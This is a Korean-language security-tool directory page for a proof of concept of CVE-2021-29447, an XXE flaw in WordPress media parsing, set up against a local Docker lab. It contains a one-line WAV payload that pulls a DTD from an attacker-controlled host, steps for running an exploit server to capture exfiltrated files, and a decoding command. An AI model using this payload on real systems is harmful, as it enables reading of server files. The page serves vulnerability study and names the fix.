Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-29447-PoC | Kitploit
도구/GitHubGitHub/rdana55/cve-2021-29447-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-29447-PoC

개요

CVE-2021-29447은 PHP 8.0+에서 실행될 때 WordPress 5.6–5.7 버전(5.7.1에서 패치됨)에 영향을 미치는 XXE(XML External Entity) 주입 취약점입니다. 이 취약점은 미디어 메타데이터 파싱에 사용되는 getID3 라이브러리에 존재합니다.

WordPress는 getID3를 통해 WAV 파일의 iXML 청크를 처리하며, 이 과정에서 LIBXML_NOENT 플래그와 함께 simplexml_load_string()을 호출합니다. 이 플래그는 외부 엔티티 치환을 명시적으로 활성화하여 PHP 8의 기본 XXE 보호 기능(더 이상 사용되지 않는 libxml_disable_entity_loader())을 우회합니다.

  1. 인증된 사용자(Author+)가 악성 WAV를 업로드
  2. getID3 → iXML 청크 → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. 외부 DTD 가져오기 → PHP data:// 래퍼 → 임의 파일 노출

개념 증명(PoC) 설정

본 PoC는 Dockerized WordPress 5.7 + PHP 8.0.3을 사용하여 취약점을 시연합니다. Linux 사용자는 WAV/DTD 파일도 생성하는 단일 파일 스크립트를 사용할 수 있습니다.

▶️: https://youtu.be/YnGowuWHFyY

사전 요구 사항 및 환경 설정

  1. Windows 호스트에 Docker Desktop 설치

  2. 전용 프로젝트 디렉터리를 생성합니다(모든 PowerShell 명령은 여기서 실행됩니다):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. 취약한 WordPress 배포:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    docker-compose.yml의 내용을 복사하여 붙여넣으세요

  4. 컨테이너 시작:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. 자동 업데이트 비활성화(취약점 지속에 중요):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. 취약한 버전 확인:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    예상 결과: WordPress 5.7, PHP 8.0+

  7. WordPress 설치:

    이동: http://localhost:8080

    관리자: test / test / [email protected]

    설정 완료 → /wp-admin 접근

  8. 공격자 IP 확인:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    자신의 IP를 기록하세요(예: 192.168.1.196)

익스플로잇 페이로드 생성

  1. DTD 페이로드 생성:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    evil.dtd의 내용을 복사하여 붙여넣으세요

  2. WAV 페이로드 생성(Linux CLI):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    python3 -m http.server 8000을 통해 전송 → Windows 브라우저에서 다운로드(예: http://<VM_IP>:8000)

    참고: Windows 환경의 바이너리 이스케이프 복잡성으로 인해 WAV는 별도로 생성됩니다

  3. 익스플로잇 서버 배포:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    exploit.py의 내용을 복사하여 붙여넣으세요

    명령:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

익스플로잇

  1. XXE 트리거:

    http://localhost:8080/wp-admin → 미디어 → 새로 추가

    payload.wav 업로드

  2. Python 서버 콘솔 모니터링 -> 외부 유출 데이터 캡처

  3. Base64+Zlib 페이로드 디코딩:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

대응 방안

WordPress 5.7.1 이상으로 업그레이드하거나 getID3 파싱에서 LIBXML_NOENT를 비활성화하세요.

도구 다운로드